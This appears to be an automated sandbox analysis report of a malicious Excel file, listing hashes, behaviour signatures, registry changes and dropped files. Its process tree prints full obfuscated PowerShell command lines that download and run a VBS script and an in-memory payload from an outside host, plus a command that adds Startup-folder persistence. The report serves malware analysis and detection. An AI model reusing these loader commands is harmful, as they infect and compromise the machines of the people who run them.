9765bf6f8c394a94d04b26211e43346ed51561171929aedf7183843fe8d1bfeb

General

Target

c4fa78775e976b5e30d4f2fb71d48b068b3dc27d625972296fd5cc28c58eb1c0.xls
Size

32KB
MD5

eb7a80763f59da222984d9f111f45bb4
SHA1

192d549cd2c007453d41c436a03f1947f04e212f
SHA256

c4fa78775e976b5e30d4f2fb71d48b068b3dc27d625972296fd5cc28c58eb1c0
SHA512

56e9c3dbbdc14ed85dce54a644eca5cef874df9492f72937f12407d22dea9a5b7f7efbe273bfeb887d6e8ee54d5af7696d30c37d5bacb35c88b22a5a9ec57813

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3732	1952	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

34 2792 powershell.exe
43 4508 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Control Panel\International\Geo\Nation WScript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
34	2792	powershell.exe
43	4508	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Control Panel\International\Geo\Nation	WScript.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 24 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 4076f3a781a7d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{D1DA0F7A-1374-11ED-BFB6-6216A2D711EB} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000ecbea742cdd51744a22318f0bb77b682000000000200000000001066000000010000200000001c8a63e1797cdca81dbb7be11e352f538a74e401d880243c8e0195d2556ff55d000000000e80000000020000200000001e810ee30af06a9b6137ec0b0f8d7885a4e02c15970d92c94e9eb19479b44b58200000007a14ef445ce6866cd926f9388e21400d58cb21c314392c2a1b6f737ba10244244000000081ca8f4b75923ac3d731cbb41e83401f91188051c3a8910f52fd1f06087089915b81bc930b6c553c947418076eb9d50857e162a1cd67b407ca95f92c4caa112c	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0ddb1ab81a7d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000ecbea742cdd51744a22318f0bb77b682000000000200000000001066000000010000200000007c9f4010442f033b21cc5bc04e70b153db365219d37ebb2e56e81506baea5cbe000000000e8000000002000020000000facc41e80dff7099dcb2513bfacd257f5b7af936d42d3215f62b55f628778cb220000000c85855260b2a038ff2768248e941922d9811051edeecbb88d43a100d1ac38ee3400000006c060b83c0888e6cc082ac3f52e89c62f7cbe6fc93edeb2982c176306007dcd1024c5825cc72351820f3363f24720dc7ca6816bf81265ae0a3424f5656523a85	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000_Classes\Local Settings powershell.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1952 EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
2792	powershell.exe
2792	powershell.exe
4548	powershell.exe
4548	powershell.exe
4508	powershell.exe
4508	powershell.exe
4548	powershell.exe
4508	powershell.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	4508	powershell.exe
Token: SeDebugPrivilege	4548	powershell.exe
Token: SeIncreaseQuotaPrivilege	4508	powershell.exe
Token: SeSecurityPrivilege	4508	powershell.exe
Token: SeTakeOwnershipPrivilege	4508	powershell.exe
Token: SeLoadDriverPrivilege	4508	powershell.exe
Token: SeSystemProfilePrivilege	4508	powershell.exe
Token: SeSystemtimePrivilege	4508	powershell.exe
Token: SeProfSingleProcessPrivilege	4508	powershell.exe
Token: SeIncBasePriorityPrivilege	4508	powershell.exe
Token: SeCreatePagefilePrivilege	4508	powershell.exe
Token: SeBackupPrivilege	4508	powershell.exe
Token: SeRestorePrivilege	4508	powershell.exe
Token: SeShutdownPrivilege	4508	powershell.exe
Token: SeDebugPrivilege	4508	powershell.exe
Token: SeSystemEnvironmentPrivilege	4508	powershell.exe
Token: SeRemoteShutdownPrivilege	4508	powershell.exe
Token: SeUndockPrivilege	4508	powershell.exe
Token: SeManageVolumePrivilege	4508	powershell.exe
Token: 33	4508	powershell.exe
Token: 34	4508	powershell.exe
Token: 35	4508	powershell.exe
Token: 36	4508	powershell.exe
Token: SeIncreaseQuotaPrivilege	4508	powershell.exe
Token: SeSecurityPrivilege	4508	powershell.exe
Token: SeTakeOwnershipPrivilege	4508	powershell.exe
Token: SeLoadDriverPrivilege	4508	powershell.exe
Token: SeSystemProfilePrivilege	4508	powershell.exe
Token: SeSystemtimePrivilege	4508	powershell.exe
Token: SeProfSingleProcessPrivilege	4508	powershell.exe
Token: SeIncBasePriorityPrivilege	4508	powershell.exe
Token: SeCreatePagefilePrivilege	4508	powershell.exe
Token: SeBackupPrivilege	4508	powershell.exe
Token: SeRestorePrivilege	4508	powershell.exe
Token: SeShutdownPrivilege	4508	powershell.exe
Token: SeDebugPrivilege	4508	powershell.exe
Token: SeSystemEnvironmentPrivilege	4508	powershell.exe
Token: SeRemoteShutdownPrivilege	4508	powershell.exe
Token: SeUndockPrivilege	4508	powershell.exe
Token: SeManageVolumePrivilege	4508	powershell.exe
Token: 33	4508	powershell.exe
Token: 34	4508	powershell.exe
Token: 35	4508	powershell.exe
Token: 36	4508	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

4224 iexplore.exe

pid	process
4224	iexplore.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

EXCEL.EXEiexplore.exeIEXPLORE.EXE

pid	process
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
4224	iexplore.exe
4224	iexplore.exe
4280	IEXPLORE.EXE
4280	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeiexplore.exeWScript.exe

description	pid	process	target process
PID 1952 wrote to memory of 3732	1952	EXCEL.EXE	cmd.exe
PID 1952 wrote to memory of 3732	1952	EXCEL.EXE	cmd.exe
PID 3732 wrote to memory of 2792	3732	cmd.exe	powershell.exe
PID 3732 wrote to memory of 2792	3732	cmd.exe	powershell.exe
PID 2792 wrote to memory of 4140	2792	powershell.exe	WScript.exe
PID 2792 wrote to memory of 4140	2792	powershell.exe	WScript.exe
PID 4224 wrote to memory of 4280	4224	iexplore.exe	IEXPLORE.EXE
PID 4224 wrote to memory of 4280	4224	iexplore.exe	IEXPLORE.EXE
PID 4224 wrote to memory of 4280	4224	iexplore.exe	IEXPLORE.EXE
PID 4140 wrote to memory of 4508	4140	WScript.exe	powershell.exe
PID 4140 wrote to memory of 4508	4140	WScript.exe	powershell.exe
PID 4140 wrote to memory of 4548	4140	WScript.exe	powershell.exe
PID 4140 wrote to memory of 4548	4140	WScript.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c4fa78775e976b5e30d4f2fb71d48b068b3dc27d625972296fd5cc28c58eb1c0.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1952

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Jasfu.bat" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -WindowStyle hidden IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJzskdTBoajQ0dHQgPSAnW0VudW1dOjpUb09iamVjdChbU3lzdGVtLk4nICsnZXQuU2VjdXJpJyArJ3R5UHJvdG8nICsnY29sVHlwZV0sIDMwNzIpJ3xJRVg7W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSAkdTBoajQ0dDskd2UyMj0nZVcudGVOIHRjJyArICdlamJPLXdlTignOyAkYjRkZj0nb2xud29ELil0bmVpJyArICdsQ2InOyAkYzM9JyknJ3Nidi5kYXBldG9uXCcnK3BtZXQ6dm5lJCwnJ3Nidi50bmVpbEMgZGV0Y2V0b3JQL2V0b24vbG0uenJibWVsYWNpZ29sb2NhbXJhaHAvLzpwdHRoJycoZWxpRmRhJzskVEM9JGMzLCRiNGRmLCR3ZTIyIC1Kb2luICcnO0lFWCgoW3JlZ2V4XTo6TWF0Y2hlcygkVEMsJy4nLCdSaWdodFRvTGVmdCcpIHwgRm9yRWFjaCB7JF8udmFsdWV9KSAtam9pbiAnJyk7c3RhcnQtcHJvY2VzcygkZW52OnRlbXArICdcbm90ZXBhZC52YnMnKTtyZW1vdmUtaXRlbSAoJGVudjpVU0VSUFJPRklMRSArICdcSmFzZnUuYmF0Jyk=')))
3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2792

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\notepad.vbs"
4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $t0='QE150'.replace('Q','I').replace('150','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01010000,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,01110000,01101000,01100001,01110010,01101101,01100001,01100011,01101111,01101100,01101111,01100111,01101001,01100011,01100001,01101100,01100101,01101101,01100010,01110010,01111010,00101110,01101101,01101100,00101111,01101110,01101111,01110100,01100101,00101111,01000101,01101110,01100011,01110010,01111001,01110000,01110100,01100101,01100100,00100000,01000011,01101100,01101001,01100101,01101110,01110100,00100000,01001111,01000111,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01010000) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };([system.String]::Join('', $gf))|P
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-item 'C:\Users\Admin\AppData\Local\Temp\notepad.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.vbs'
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4548

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
1⤵
PID:4192

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4224

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4224 CREDAT:17410 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:4280

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
b2c481dd754bf831d6ca2a792048919c

SHA1
e3e306f2b3f52a413ab0cd1362700db13726d500

SHA256
6ce76f0f173b36f842ab6bffb79f6812d80aac6027d81a6ffaa11fc2439782ee

SHA512
cc7e1f08739a2a6f1e31de5a62985603a38984f7b95d51403167f0e95da8402df5e47be334b9db1536e12e36d2e6795ceef72ba8db5b637340ec806462cd3cd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
df9425cdf8aae587c2d411e6db8a1c78

SHA1
08011de7934ca58468e2d5ec8e46ad00b521f0a6

SHA256
0d6b22b3f5ce23f164fdc4ed87b95eac99326298e8a04d58d46fc45d51ff9421

SHA512
27aae70ee0abd2289ed2618079b77a55271d7130498ffd5b32a8a903a123e0238f7dbf1d71a975809898c64551e2f7f4b38e54e08949e2a519ab86c77ea3d3dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\notepad.vbs
Filesize
2KB

MD5
8e83d5756f11160d34fccb12e2bf0381

SHA1
af4152d4ab87a2d6634bd19fb7818606a8f6bccf

SHA256
b07844c7581de9dcd8ce32a00da25a829d5b72a40d782e873ba8494e4a21f19c

SHA512
fa4fd495e32f200418564caa63abab53686b90f8729d5666870ea254bc0f902bd6d7d8023eaaedd08e7336f20667a7296ece6644026fe65ca814c01eed737eac

Download Submit
C:\Users\Admin\Jasfu.bat
Filesize
863B

MD5
8ef8366f9ab07697612c33f7b0fd1b81

SHA1
80a2b96b8fe1d7fa9dedd98b9b6d6342162bc709

SHA256
92047d952a45aa6d0b20b167fba511a1b947d54886f852b9f8ce8e9a62ed648d

SHA512
29d6681c58215248790b5879e6d091d9929c9adb8036402531405f1b6266c22b47dd9e70fcd5ccdc9351d59c499b7cc0aa3a8e38a3a6c9989050f36fdac95881

Download Submit
memory/1952-136-0x00007FFB06950000-0x00007FFB06960000-memory.dmp

Filesize
64KB

Download
memory/1952-134-0x00007FFB08CD0000-0x00007FFB08CE0000-memory.dmp

Filesize
64KB

Download
memory/1952-131-0x00007FFB08CD0000-0x00007FFB08CE0000-memory.dmp

Filesize
64KB

Download
memory/1952-135-0x00007FFB06950000-0x00007FFB06960000-memory.dmp

Filesize
64KB

Download
memory/1952-132-0x00007FFB08CD0000-0x00007FFB08CE0000-memory.dmp

Filesize
64KB

Download
memory/1952-130-0x00007FFB08CD0000-0x00007FFB08CE0000-memory.dmp

Filesize
64KB

Download
memory/1952-133-0x00007FFB08CD0000-0x00007FFB08CE0000-memory.dmp

Filesize
64KB

Download
memory/2792-140-0x000001C5B74F0000-0x000001C5B7512000-memory.dmp

Filesize
136KB

Download
memory/2792-144-0x00007FFB1FA20000-0x00007FFB204E1000-memory.dmp

Filesize
10.8MB

Download
memory/2792-141-0x00007FFB1FA20000-0x00007FFB204E1000-memory.dmp

Filesize
10.8MB

Download
memory/2792-139-0x0000000000000000-mapping.dmp

Download
memory/3732-137-0x0000000000000000-mapping.dmp

Download
memory/4140-142-0x0000000000000000-mapping.dmp

Download
memory/4508-145-0x0000000000000000-mapping.dmp

Download
memory/4508-149-0x00007FFB1E850000-0x00007FFB1F311000-memory.dmp

Filesize
10.8MB

Download
memory/4508-152-0x00007FFB1E850000-0x00007FFB1F311000-memory.dmp

Filesize
10.8MB

Download
memory/4508-154-0x00007FFB1E850000-0x00007FFB1F311000-memory.dmp

Filesize
10.8MB

Download
memory/4548-146-0x0000000000000000-mapping.dmp

Download
memory/4548-150-0x00007FFB1E850000-0x00007FFB1F311000-memory.dmp

Filesize
10.8MB

Download
memory/4548-151-0x00007FFB1E850000-0x00007FFB1F311000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads